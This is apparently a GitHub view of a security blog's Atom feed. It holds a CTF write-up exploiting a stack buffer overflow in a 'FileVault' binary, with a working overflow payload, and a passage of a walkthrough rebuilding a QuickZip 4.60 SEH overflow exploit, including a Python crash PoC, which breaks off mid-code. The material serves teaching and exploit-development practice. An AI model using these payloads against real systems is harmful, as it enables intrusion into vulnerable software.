-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathatom.xml
10607 lines (9065 loc) · 734 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title><![CDATA[Knapsy's brain dump]]></title>
<link href="http://blog.knapsy.com/atom.xml" rel="self"/>
<link href="http://blog.knapsy.com/"/>
<updated>2018-08-06T15:03:44+10:00</updated>
<id>http://blog.knapsy.com/</id>
<author>
<name><![CDATA[Knapsy]]></name>
</author>
<generator uri="http://octopress.org/">Octopress</generator>
<entry>
<title type="html"><![CDATA[FileVault CTF Challenge - ELF X64 Buffer Overflow]]></title>
<link href="http://blog.knapsy.com/blog/2018/08/05/filevault-ctf-challenge-elf-x64-buffer-overflow/"/>
<updated>2018-08-05T16:31:31+10:00</updated>
<id>http://blog.knapsy.com/blog/2018/08/05/filevault-ctf-challenge-elf-x64-buffer-overflow</id>
<content type="html"><![CDATA[<p>It’s been quite a while since I have done a CTF, but just very recently I got a chance to participate in one and came across a pretty interesting challenge which forced me to go back and re-learn exploit dev in Unix environments. Also had to brush up on my <code>gdb</code> knowledge…</p>
<!--more-->
<h2>Background</h2>
<p>The challenge required participants to connect to a remote server on a specific port to interact with a simple <code>FileVault</code> application.</p>
<p>Offline copy of the application has been provided for analysis.</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>root@debian:/opt/checksec# file FileVault
</span><span class='line'>FileVault: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=24cf4afa0525b2c402542c56bbd80f585c80694f, stripped
</span><span class='line'>
</span><span class='line'>root@debian:/opt/checksec# ./checksec.sh --file FileVault
</span><span class='line'>RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
</span><span class='line'>Partial RELRO No canary found NX disabled PIE enabled No RPATH No RUNPATH FileVault</span></code></pre></td></tr></table></div></figure>
<p>We’re dealing with x64 ELF binary that doesn’t have any protections enabled that should cause us any troubles later on.</p>
<h2>Understanding the application</h2>
<p>Let’s play with the application and see what it does.</p>
<p><a href="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/Incorrect_code.png"><img src="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/Incorrect_code.png" alt="image" /></a></p>
<p>It expects some sort of a code (that we don’t have).</p>
<p><a href="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/2.Code_too_long.png"><img src="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/2.Code_too_long.png" alt="image" /></a></p>
<p>Also let’s note that when we provide code that is too long (more than 16 characters), we get a little bit different error message.</p>
<p>Let’s throw the application into IDA and see what is it actually supposed to be doing.</p>
<p><a href="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/3.Main_func_strlen_check.png"><img src="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/3.Main_func_strlen_check.png" alt="image" /></a></p>
<p>As you can see, we’re reading an input string using <code>scanf()</code> and check its length with <code>strlen()</code> - if it’s longer than 16 characters, it displays additional error message (“Incorrect login attempted.”).</p>
<p>However, it’s important to note that, apart from printing that error message, it doesn’t actually do anything else, the application just continues execution.</p>
<p>Generally you’d think that this sort of check would cause the application to exit if the condition is not met, but it’s not the case here - we can simply ignore it and not worry about it at all.</p>
<p><a href="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/5.Decision_func.png"><img src="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/5.Decision_func.png" alt="image" /></a></p>
<p>This one is interesting, clearly there’s some sort of decision mechanisms that establishes whether the code is valid or not.</p>
<p>After number of checks, if everything goes fine, we get to “Shell Access Granted” and call subroutine <code>sub_91A</code>.</p>
<p><a href="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/13.execfunc.png"><img src="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/13.execfunc.png" alt="image" /></a></p>
<p>And this function simply calls <code>/bin/sh -i</code> giving us back an interactive shell.</p>
<h2>Digging deeper</h2>
<p>As now we have an understanding what the application is doing, let’s see if we can bypass the authentication mechanism. Remember that we can’t simply patch the binary out as our end-goal is to exploit a remote instance, so most likely we’ll need to come up with a remote exploit (or find the authentication code itself).</p>
<p>The first check the application does is on a variable <code>secret_0</code> (I have renamed them myself for clarity) - if it’s value is <code>0</code> (ASCII) then it proceeds with further checks, otherwise, it fails right there.</p>
<p>But there’s a problem… <code>secret_0</code> is actually initialised to <code>16</code> at the very beginning of that function and it’s not being modified anywhere else along the way. How can it then ever equal <code>0</code>?!</p>
<p>The same thing applies for <code>secret_1</code> and <code>secret_2</code> variables, which expect certain values (<code>t0k3</code> and <code>n4m3</code> respectively), but are initialised to <code>0</code> too.</p>
<p>So how can we change the value of those variables, if we never get a chance to set them… or do we? ;)</p>
<h2>Simple buffer overflow</h2>
<p><a href="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/7.strcpy.png"><img src="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/7.strcpy.png" alt="image" /></a></p>
<p>Luckily for us, the application uses insecure <code>strcpy()</code> to copy user provided input into an initialised array of a set length. As <code>strcpy</code> does not do bounds checking, it simply copies entire input until it hits a NULL byte (end of a string - <code>\x00</code>), not caring about sizes at all.</p>
<p>As there are no input size checks performed by the application, we can use it try to overflow the buffer and set the relevant local variables to values we need.</p>
<p>Let’s have a look at how the application initialises the local variables and what offsets we need to work with.</p>
<p><a href="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/8.calculate_offset.png"><img src="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/8.calculate_offset.png" alt="image" /></a></p>
<p>Let’s analyse the above and picture how the stack will look like.</p>
<p>As the execution is passed to this subroutine, what’s going to happen here (after the <a href="https://en.wikipedia.org/wiki/Function_prologue">function prologue</a>) is that the local variables (<code>src</code>, <code>dest</code>, <code>secret_2</code>, <code>secret_1</code> and <code>secret_0</code>) are going to be pushed onto the stack.</p>
<p>What order are they going to be pushed on? Look at the pointer arithmetic that IDA is showing us:</p>
<ul>
<li><code>secret_0</code> will end up in position of <code>base pointer (RBP)- 4 bytes</code></li>
<li><code>secret_1</code> in <code>RBP-8 bytes</code></li>
<li><code>secret_2</code> in <code>RBP-C</code> (in hex) and so on…</li>
</ul>
<p>This also gives us important information about the size of <code>dest</code> variable that we’ll be overflowing - it’s initiated size is, in hex, <code>20 - C</code> (difference between <code>secret_2</code> and <code>dest</code> offsets), which is <code>20 bytes</code>.</p>
<p>If we were to draw it, after initialisation of all local variables the stack will look as follows:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>** Assuming each "frame" is 4 bytes.
</span><span class='line'>
</span><span class='line'> 0x00000000 (lower memory addresses)
</span><span class='line'>+----------+ RBP-28
</span><span class='line'>| SRC |
</span><span class='line'>|----------|
</span><span class='line'>| |
</span><span class='line'>|----------| RBP-20 ||
</span><span class='line'>| DEST | || strcpy() writes
</span><span class='line'>|----------| || this way
</span><span class='line'>| | \||/
</span><span class='line'>|----------| \/
</span><span class='line'>| |
</span><span class='line'>|----------|
</span><span class='line'>| |
</span><span class='line'>|----------|
</span><span class='line'>| |
</span><span class='line'>|----------| RBP-C
</span><span class='line'>| SECRET_2 |
</span><span class='line'>|----------| RBP-8
</span><span class='line'>| SECRET_1 |
</span><span class='line'>|----------| RBP-4
</span><span class='line'>| SECRET_0 |
</span><span class='line'>+----------+ <== RBP
</span><span class='line'> 0xFFFFFFFF (higher memory addresses)</span></code></pre></td></tr></table></div></figure>
<p>Now, having that information, we can easily deduct that in order to overflow our variables, we need to first fill up the buffer of <code>dest</code> with <code>20 bytes</code> of garbage, next <code>4 bytes</code> would be our <code>secret_2</code>, followed by <code>4 bytes</code> for <code>secret_1</code> and last <code>4 bytes</code> for <code>secret_0</code>.</p>
<p>But what do we need to put in our secret variables? Pretty simple, let’s just see what IDA shows us:</p>
<p><a href="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/5.Decision_func.png"><img src="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/5.Decision_func.png" alt="image" /></a></p>
<p>Easy! <code>secret_0</code> must be <code>0</code>, <code>secret_1</code> = <code>t0k3</code> and <code>secret_2</code> = <code>n4m3</code>.</p>
<p><strong>HOWEVER!</strong> Because of <a href="https://en.wikipedia.org/wiki/Endianness#Little-endian">Little Endianness</a>, the strings will have to be written <strong>in reverse</strong>!</p>
<p>So for <code>secret_1</code> and <code>secret_2</code> we’ll need to write <code>3k0t</code> and <code>3m4n</code> respectively.</p>
<h2>Exploit</h2>
<p>Let’s put our exploit to test! The payload we’ll be sending is:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>root@debian:~# python -c 'print "A" * 20 + "3m4n" + "3k0t" + "0"'
</span><span class='line'>AAAAAAAAAAAAAAAAAAAA3m4n3k0t0</span></code></pre></td></tr></table></div></figure>
<p>And that’s how it should look on the stack:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>** Assuming each "frame" is 4 bytes.
</span><span class='line'>
</span><span class='line'>BEFORE OVERFLOW AFTER OVERFLOW
</span><span class='line'>=============== ==============
</span><span class='line'> 0x00000000 (lower memory addresses)
</span><span class='line'>
</span><span class='line'> +----------+ RBP-28 +----------+
</span><span class='line'> | SRC | | |
</span><span class='line'> |----------| |----------|
</span><span class='line'> | | | |
</span><span class='line'> |----------| RBP-20 |----------|
</span><span class='line'> | DEST | | AAAA | ||
</span><span class='line'> |----------| |----------| || strcpy() writes
</span><span class='line'> | | | AAAA | || this way
</span><span class='line'> |----------| |----------| \||/
</span><span class='line'> | | | AAAA | \/
</span><span class='line'> |----------| |----------|
</span><span class='line'> | | | AAAA |
</span><span class='line'> |----------| |----------|
</span><span class='line'> | | | AAAA |
</span><span class='line'> |----------| RBP-C |----------|
</span><span class='line'> | SECRET_2 | | 3m4n |
</span><span class='line'> |----------| RBP-8 |----------|
</span><span class='line'> | SECRET_1 | | 3k0t |
</span><span class='line'> |----------| RBP-4 |----------|
</span><span class='line'> | SECRET_0 | | 0 \x00 |
</span><span class='line'> +----------+ <== RBP +----------+
</span><span class='line'>
</span><span class='line'> 0xFFFFFFFF (higher memory addresses)</span></code></pre></td></tr></table></div></figure>
<p>Let’s give it a shot!</p>
<p><a href="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/12.success.png"><img src="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/12.success.png" alt="image" /></a></p>
<p>W00t W00t, access granted! :)</p>
<h2>GDB Refresher</h2>
<p>This part is basically something for me to have to refer to when I come across something similar in the future.</p>
<p>As the challenge, in the end, turned out to be quite simple, I had to do some debugging in GDB to see if my offsets are right (and also because I have completely forgot about Little Endianness and my initial exploit didn’t work!).</p>
<p>Just to make sure that everything works as expected, load up the application in GDB <code>gdb ./FileVault</code> and set a breakpoint on one command that we’re interested in <code>breakpoint strcpy</code>.</p>
<p>Execute the application by invoking <code>run < input</code>, where <code>input</code> is simply a text file with our paload generated in python (see above).</p>
<p>The execution will stop on <code>strcpy()</code> function, step through it by pressing <code>n</code> or typing in <code>finish</code> to step out of <code>strcpy()</code> routine.</p>
<p>As we hit first <code>cmp</code> instruction, see what sits under <code>rbp-0x4</code> by issuing <code>x/x $rbp-0x4</code> command.</p>
<p><a href="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/9.gdb_1.png"><img src="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/9.gdb_1.png" alt="image" /></a></p>
<p>Since we’re comparing a <code>DWORD</code>, we only need to worry about <code>4 bytes</code>, in our case it’s <code>0x00000030</code> (from memory), which matches what is in the instruction call (<code>0x30</code>).</p>
<p>Continue execution and investigate the following variables exactly same way.</p>
<p><a href="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/10.gdb_2.png"><img src="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/10.gdb_2.png" alt="image" /></a></p>
<p><a href="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/11.gdb_3.png"><img src="http://blog.knapsy.com/images/posts/2018-08-05-filevault-ctf-challenge-elf-x64-buffer-overflow/11.gdb_3.png" alt="image" /></a></p>
<h2>Summary</h2>
<p>All in all, it was pretty fun challenge that forced me to get back into exploit dev in Unix environments (I’ve been mainly playing in Windows recently) and really stretched my memory on some basic concepts… which is great - gotta stay sharp! :)</p>
]]></content>
</entry>
<entry>
<title type="html"><![CDATA[QuickZip 4.60 - Win7 X64 SEH Overflow (Egghunter) With Custom Encoder]]></title>
<link href="http://blog.knapsy.com/blog/2017/05/01/quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/"/>
<updated>2017-05-01T21:31:30+10:00</updated>
<id>http://blog.knapsy.com/blog/2017/05/01/quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder</id>
<content type="html"><![CDATA[<p>As a part of my preparations for the <a href="https://www.offensive-security.com/information-security-certifications/osce-offensive-security-certified-expert/">OSCE</a> exam, I have been trying to find some interesting exploits and PoC code to practice my skills on and learn something new in the exploit development department.</p>
<p>After some digging, I stumbled across a <a href="https://www.exploit-db.com/exploits/11656/">QuickZip v4.60 Buffer Overflow exploit</a>, which is very well documented by <a href="https://twitter.com/corelanc0d3r">corelanc0d3r</a> in a thorough blog post <a href="https://www.corelan.be/index.php/2010/03/27/quickzip-stack-bof-0day-a-box-of-chocolates/">here</a>.</p>
<p>Since the exploit itself is from 2010, it was designed to work on 32-bit Windows XP only. I decided to try and see if I can recreate it on a 64-bit Windows 7 and damn, was that a (fun) challenge!</p>
<!--more-->
<h2>PoC</h2>
<p>To get started, I grabbed the <a href="https://www.exploit-db.com/exploits/11656/">QuickZip v4.60 Windows XP exploit from exploit-db</a> and cut it down to create a simple PoC triggering a crash.</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
</pre></td><td class='code'><pre><code class='python'><span class='line'><span class="c">#!/usr/bin/python</span>
</span><span class='line'>
</span><span class='line'><span class="n">header_1</span> <span class="o">=</span> <span class="p">(</span><span class="s">"</span><span class="se">\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00</span><span class="s">"</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="n">header_2</span> <span class="o">=</span> <span class="p">(</span><span class="s">"</span><span class="se">\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x24\x00\x00\x00\x00\x00\x00\x00</span><span class="s">"</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="n">header_3</span> <span class="o">=</span> <span class="p">(</span><span class="s">"</span><span class="se">\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00</span><span class="s">"</span>
</span><span class='line'><span class="s">"</span><span class="se">\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00</span><span class="s">"</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="k">print</span> <span class="s">"[+] Building PoC.."</span>
</span><span class='line'>
</span><span class='line'><span class="n">max_size</span> <span class="o">=</span> <span class="mi">4064</span>
</span><span class='line'>
</span><span class='line'><span class="n">payload</span> <span class="o">=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="n">max_size</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">".txt"</span>
</span><span class='line'>
</span><span class='line'><span class="k">print</span> <span class="s">"[+] Length = "</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
</span><span class='line'>
</span><span class='line'><span class="n">exploit</span> <span class="o">=</span> <span class="n">header_1</span> <span class="o">+</span> <span class="n">payload</span> <span class="o">+</span> <span class="n">header_2</span> <span class="o">+</span> <span class="n">payload</span> <span class="o">+</span> <span class="n">header_3</span>
</span><span class='line'>
</span><span class='line'><span class="n">mefile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'cst.zip'</span><span class="p">,</span><span class="s">'w'</span><span class="p">);</span>
</span><span class='line'><span class="n">mefile</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">exploit</span><span class="p">);</span>
</span><span class='line'><span class="n">mefile</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span><span class='line'>
</span><span class='line'><span class="k">print</span> <span class="s">"[+] Exploit complete!"</span>
</span></code></pre></td></tr></table></div></figure>
<p>The above code creates a ZIP of a single file named 4064 A’s followed by a “.txt” extension. <code>Header_1</code>, <code>header_2</code> and <code>header_3</code> are the headers required by the ZIP file structure. I won’t go into the details of it, but you can read more about it on <a href="https://en.wikipedia.org/wiki/Zip_(file_format">here</a>.</p>
<p>If you open the created ZIP file in QuickZip and try to extract its contents (or just double-click on the filename), the QuickZip will crash.</p>
<h2>Understanding the crash</h2>
<p>Ok, let’s run the PoC and see what actually happens.</p>
<p>Create the ZIP file using Python script above, open it up with QuickZip, start <code>ImmunityDebugger</code>, attach to the QuickZip process and, in QuickZip, double click on the filename to trigger the crash. <strong>Note:</strong> we will be repeating this process over, and over, and over again, so get used to it!</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/1.First_crash.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/1.First_crash.png" alt="image" /></a></p>
<p>Awesome, we triggered a crash as expected. Also, we got an exception - see the bottom of the screen <em>“Access violation when writing to [00190000]”</em>. What this means is that we were trying to write to an invalid memory address and we triggered an exception.</p>
<p>Let’s investigate the SEH chain.</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/1.First_crash_SEH_chain.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/1.First_crash_SEH_chain.png" alt="image" /></a></p>
<p>Great, it appears that we’re able to control nSEH pointer! Looks very promising. Let’s try to figure out the offsets.</p>
<h2>Offsets</h2>
<p>As always, I’m going to be using <code>mona</code> (<a href="https://github.com/corelan/mona">https://github.com/corelan/mona</a>) to help us out with a lot of tasks here.</p>
<p>First, let’s generate a pattern of <strong>4064</strong> unique characters and put it in the payload of our PoC exploit:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>!mona pc 4064</span></code></pre></td></tr></table></div></figure>
<p>Let’s trigger the crash again and see what happens.</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/2.Second%20crash.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/2.Second%20crash.png" alt="image" /></a></p>
<p>Hmm, the crash looks a bit different. The problem here is that <code>LEAVE</code> instruction tries to jump back to <code>0EEDFADE</code> address from the stack, which is an invalid memory address for this program.</p>
<p>Also, it doesn’t appear that we’re controlling the SEH anymore.</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/3.second%20crash%20-%20wrong%20SEH.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/3.second%20crash%20-%20wrong%20SEH.png" alt="image" /></a></p>
<p>However, notice that we’re actually in a kernel module (see the name of the Immunity window - <em>“CPU - main thread, module KERNELBA”</em>). Pass the execution back to the program with <code>SHIFT + F9</code> and see if we trigger another exception, but in the QuickZip module.</p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/4.proper%20crash.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/4.proper%20crash.png" alt="image" /></a></p>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/5.proper%20SEH.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/5.proper%20SEH.png" alt="image" /></a></p>
<p>Awesome, looks like we’re back in business!</p>
<p>Use the following command to let mona calculate all of the offsets:</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>!mona findmsp</span></code></pre></td></tr></table></div></figure>
<p><a href="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/6.mona%20findmsp.png"><img src="http://blog.knapsy.com/images/posts/2017-05-01-quickzip-4-dot-60-win7-x64-seh-overflow-egghunter-with-custom-encoder/6.mona%20findmsp.png" alt="image" /></a></p>
<p>At this stage, the most interesting offset for us is <code>nSEH field: offset 292</code>.</p>
<p>Let’s update the PoC with offsets information and try to trigger the crash again.</p>
<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
